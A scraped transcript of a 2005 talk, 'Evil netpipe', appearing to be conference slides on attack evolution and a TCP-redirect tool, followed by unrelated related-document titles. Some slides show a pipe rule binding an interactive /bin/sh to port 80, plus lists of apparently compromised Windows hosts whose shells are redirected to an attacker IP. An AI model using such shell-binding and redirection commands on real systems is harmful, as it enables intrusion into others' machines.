Upload File

evil netpipe timhsu @ chroot.org july 2005. table of contents evolution of attack evolution of...

  • Home
  • Documents
  • Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature
17
Evil netpipe Evil netpipe timhsu @ chroo t.org July 2005

Upload: brianne-phillips

Post on 01-Jan-2016

214 views

Category:

Documents


0 download

Report

Tags:

TRANSCRIPT

Page 1: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

Evil netpipeEvil netpipe

timhsu @ chroot.org

July 2005

Page 2: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

Table of contentsTable of contents

Evolution of attackEvolution of attack What is netpipeWhat is netpipe Netpipe featureNetpipe feature ExampleExample

Page 3: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

Years agoYears ago

Hacked sites on bye oneHacked sites on bye one Banner-scan all IP range after Banner-scan all IP range after

exploit appearexploit appear Just used desktop PCJust used desktop PC

Page 4: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

TodayToday

Auto toolsAuto tools Massroot exploitsMassroot exploits WormWorm

Target listTarget list Banner-scan before exploit appearBanner-scan before exploit appear Google hacking Google hacking

Walking hackWalking hack LaptopLaptop Thanks the wirelessThanks the wireless

Page 5: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

Attack EvolutionAttack Evolution

Page 6: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

Attack EvolutionAttack Evolution

Page 7: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

CommandsCommands

lsls cpcp rmrm redirectredirect killkill killallkillall historyhistory pipepipe

Page 8: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

FeatureFeature

Accept TCP connectionsAccept TCP connections TCP connection redirectTCP connection redirect Manage interfaceManage interface Rules Rules

Page 9: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

Pipe rulesPipe rules

pipe act1:ip1:port1 to act2:ip2:port2 pipe act1:ip1:port1 to act2:ip2:port2 Action:Action:

autoauto Connect right nowConnect right now

waitwait Wait connectionWait connection

openopen Open connection Open connection

execexec Execute programExecute program

Page 10: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

Pipe examplePipe example

AutoAuto pipe auto:140.111.1.10:80 to pipe auto:140.111.1.10:80 to

auto:59.62.141.132:21auto:59.62.141.132:21

WaitWait pipe wait:69.47.28.33:80 to pipe wait:69.47.28.33:80 to

open:201.38.48.216:22open:201.38.48.216:22

ExecExec pipe wait:any:80 to exec:/bin/sh:-ipipe wait:any:80 to exec:/bin/sh:-i

Page 11: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

Exploit attacksExploit attacks

Page 12: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

Netpipe acceptsNetpipe accepts

Page 13: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

listlist#6 140.96.0.250:64660 "Microsoft Windows 2000 [Version 5.00.219"#6 140.96.0.250:64660 "Microsoft Windows 2000 [Version 5.00.219"#7 140.96.119.20:38985 "Microsoft Windows 2000 [Version 5.00.219"#7 140.96.119.20:38985 "Microsoft Windows 2000 [Version 5.00.219"#8 140.97.162.86:17665 ""#8 140.97.162.86:17665 ""#9 140.97.178.49:59802 "Microsoft Windows 2000 ["#9 140.97.178.49:59802 "Microsoft Windows 2000 ["#10 140.97.185.4:8705 "Microsoft Windows 2000 [Version 5.00.219"#10 140.97.185.4:8705 "Microsoft Windows 2000 [Version 5.00.219"#11 140.97.191.102:34860 "Microsoft Windows 2000 [Version 5.00.219"#11 140.97.191.102:34860 "Microsoft Windows 2000 [Version 5.00.219"#12 140.97.194.178:53781 "Microsoft Windows 2000 [Version 5.00.219"#12 140.97.194.178:53781 "Microsoft Windows 2000 [Version 5.00.219"#13 140.97.194.190:31074 "Microsoft Windows 2000 [Version 5.00.219"#13 140.97.194.190:31074 "Microsoft Windows 2000 [Version 5.00.219"#14 140.97.202.14:8209 "Microsoft Windows 2000 [Version 5.00.219"#14 140.97.202.14:8209 "Microsoft Windows 2000 [Version 5.00.219"#15 140.97.202.29:56571 "Microsoft Windows 2000 [Version 5.00.219"#15 140.97.202.29:56571 "Microsoft Windows 2000 [Version 5.00.219"#16 140.97.206.212:33401 "Microsoft Windows 2000 [Version 5.00.219"#16 140.97.206.212:33401 "Microsoft Windows 2000 [Version 5.00.219"#17 140.97.211.58:12054 "Microsoft Windows 2000 [Version 5.00.219"#17 140.97.211.58:12054 "Microsoft Windows 2000 [Version 5.00.219"#18 140.97.213.73:7108 "Microsoft Windows 2000 [Version 5.00.219"#18 140.97.213.73:7108 "Microsoft Windows 2000 [Version 5.00.219"#19 140.97.229.89:54011 "Microsoft Windows 2000 [Version 5.00.219"#19 140.97.229.89:54011 "Microsoft Windows 2000 [Version 5.00.219"#20 211.21.75.208:4823 ""#20 211.21.75.208:4823 ""

redirect 10 to 20

Page 14: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

Hacker attachHacker attach

Page 15: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

listlist#6 140.96.0.250:64660 "Microsoft Windows 2000 [Version 5.00.219"#6 140.96.0.250:64660 "Microsoft Windows 2000 [Version 5.00.219"#7 140.96.119.20:38985 "Microsoft Windows 2000 [Version 5.00.219"#7 140.96.119.20:38985 "Microsoft Windows 2000 [Version 5.00.219"#8 140.97.162.86:17665 ""#8 140.97.162.86:17665 ""#9 140.97.178.49:59802 "Microsoft Windows 2000 ["#9 140.97.178.49:59802 "Microsoft Windows 2000 ["#10 140.97.185.4:8705 <-> 211.21.75.208:4823#10 140.97.185.4:8705 <-> 211.21.75.208:4823#11 140.97.191.102:34860 "Microsoft Windows 2000 [Version 5.00.219"#11 140.97.191.102:34860 "Microsoft Windows 2000 [Version 5.00.219"#12 140.97.194.178:53781 "Microsoft Windows 2000 [Version 5.00.219"#12 140.97.194.178:53781 "Microsoft Windows 2000 [Version 5.00.219"#13 140.97.194.190:31074 "Microsoft Windows 2000 [Version 5.00.219"#13 140.97.194.190:31074 "Microsoft Windows 2000 [Version 5.00.219"#14 140.97.202.14:8209 "Microsoft Windows 2000 [Version 5.00.219"#14 140.97.202.14:8209 "Microsoft Windows 2000 [Version 5.00.219"#15 140.97.202.29:56571 "Microsoft Windows 2000 [Version 5.00.219"#15 140.97.202.29:56571 "Microsoft Windows 2000 [Version 5.00.219"#16 140.97.206.212:33401 "Microsoft Windows 2000 [Version 5.00.219"#16 140.97.206.212:33401 "Microsoft Windows 2000 [Version 5.00.219"#17 140.97.211.58:12054 "Microsoft Windows 2000 [Version 5.00.219"#17 140.97.211.58:12054 "Microsoft Windows 2000 [Version 5.00.219"#18 140.97.213.73:7108 "Microsoft Windows 2000 [Version 5.00.219"#18 140.97.213.73:7108 "Microsoft Windows 2000 [Version 5.00.219"#19 140.97.229.89:54011 "Microsoft Windows 2000 [Version 5.00.219"#19 140.97.229.89:54011 "Microsoft Windows 2000 [Version 5.00.219"#20 211.21.75.208:4823 <-> 140.97.185.4:8705 #20 211.21.75.208:4823 <-> 140.97.185.4:8705

Page 16: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

Question ?

Page 17: Evil netpipe timhsu @ chroot.org July 2005. Table of contents Evolution of attack Evolution of attack What is netpipe What is netpipe Netpipe feature

Thank You

~ END ~


Telecoms: Generational Evolution of Attack Surfaces - Telecoms...Telecom Historical Milestones •Semaphore by Chappe brothers 1790 •Telegraph by Morse 1838 •Wireless telegraphy

The “Intelligently Designed” Attack on Science and Society · 2008-02-15 · ID Movement has much broader goals than discrediting evolution • Evolution is only the initial target

EVOLUTION OF EXPLOIT KITS - Internet- & · PDF fileExploit Kit Attack Scenario ... EVOLUTION OF EXPLOIT KITS Research Paper 4 ... Developers use it to showcase the tenacity of their

THE BIBLE’S ANSWER TO ATHEISTS AND SKEPTICS. WHY CONSIDER THIS? Religion is under fierce attack from atheists. Evolution is now very widely accepted

Understanding the Attack Surface and Attack Resilience … · Understanding the Attack Surface and Attack Resilience of ... (internals, audit, fuzzing, ... Understanding the Attack

Internet Threats in Depth Phishing and Botnet - HITCON threats in depth phishing a… · 2005 July 16 Copyright [email protected] 14 Scripts hide the IE address bar z var vuln_x, vuln_y,

Penguin attack and counter attack

Michael Sutton, Security Evangelist - ACSA) - c · Michael Sutton, Security Evangelist. Overview •Evolution of attack vectors Background •Web browser Client Side Vulnerabilities

ATTACK, ATTACK, ATTACK

C3G Punisher - Heroscape€¦ · times. Roll 1 fewer attack die for each subsequent attack AUTO SHOTGUN SPECIAL ATTACK Range 4. Attack 3. Choose a figure to attack. Any figures adjacent

Telecoms: Generational Evolution of Attack Surfaces · 2018-11-01 · Telecom Historical Milestones •Semaphore by Chappe brothers 1790 •Telegraph by Morse 1838 •Wireless telegraphy

Types of attack. Brute force attack Forceful attack on a computer to escalate privileges

range of attack: deployment of saf attack helicopters

The Evolution of Lateralization in Group Hunting Sailfish · hunting: by alternating attacks, individual-level attack lateralization can evolve, without the nega-tive consequences

THE EVOLUTION OF TERRORIST PROPAGANDA: …docs.house.gov/meetings/FA/FA18/20150127/102855/HHRG-114-FA18...the evolution of terrorist propaganda: the paris attack and social media hearing

Confronting the Threat - Disaster Recovery Journal · 2019-11-26 · xChemical Attack xBiological Attack xNuclear/Radiological Attack xAircraftAttackAircraft Attack. Taj Mahal Hotel

Welcome ! [] Evolution of Windows...1 The Evolution of Windows Spyware Techniques Birdman [email protected] [email protected] [email protected] HIT2005 The Evolution of Windows

Supply Chain Attack Framework and Attack Patterns

Basic Fire Attack Dallas Fire Rescue Explorers. Basic Fire Attack Overview of Fire Attack Overview of Fire Attack Rescue Activities Rescue Activities

Attack and Counter-Attack in Chess 1966

Creation - cforu.net€¦  · Web viewThat is why the authoritative Word of God is under attack. That is why evolution is taught as fact instead of as a theory. Because, if evolution

S5500-48T8SP DoS Attack Prevention Configuration | FS ... · Chapter 1 DoS Attack Prevention Configuration 1.1 DoS Attack Overview 1.1.1 Concept of DoS Attack The DoS attack is also

Identifying critical attack assets in dependency …xou/publications/drdc08.pdf · Identifying critical attack assets in ... Identifying critical attack assets in dependency attack

Java under attack – the evolution of exploits in 2012-2013

Targeted Attack on Enterprise - Hong Kong | Home · Consulting Systems Engineer, FireEye Targeted Attack on Enterprise . Evolution of Cyber-Defense Strategies Cyber Crime Economic

THE LOGICAL EVOLUTION SECURITY OF CYBER SECURITY THE LOGICAL EVOLUTION SECURITY OF CYBER SECURITY BASED ON THE ANATOMY OF A CYBER-ATTACK . 2 REACTIVE defense Cyber attacks in the 20th

Identifying Critical Attack Assets in Dependency Attack Graphsxou/publications/esorics08.pdf · Identifying Critical Attack Assets in Dependency Attack Graphs ... This paper introduces

Popular Protocol attack Smurf Attack Introduction: … Protocol attack!Smurf Attack!SYN attack!UDP Attack, ICMP Attack!CGI request attack!Authentication server attack!Attack using

Web Evolution Web Application Exploitscs.wellesley.edu/~cs342/fall14/lectures/webapp_exploits.pdf · Web Application Exploits 19-15 Attack Surface Web applications have a large attack

New Vulnerabilities from next World Wide Web Kudo AT chroot.org

Chest Pain The Evolution of a Heart Attack Presented by: Scott G. Popowich, CCEMT-P EMS Coordinator Kodak Rochester Medical Services

SMT Attack: Next Generation Attack on Obfuscated Circuits

Mobile Network Attack Evolution

Network Attack Surface: Lifting the Attack Surface Concept

Vladimir Kropotov - Drive-By-Download attack evolution before and after vulnerabilities’ publication by the information security analyst eyes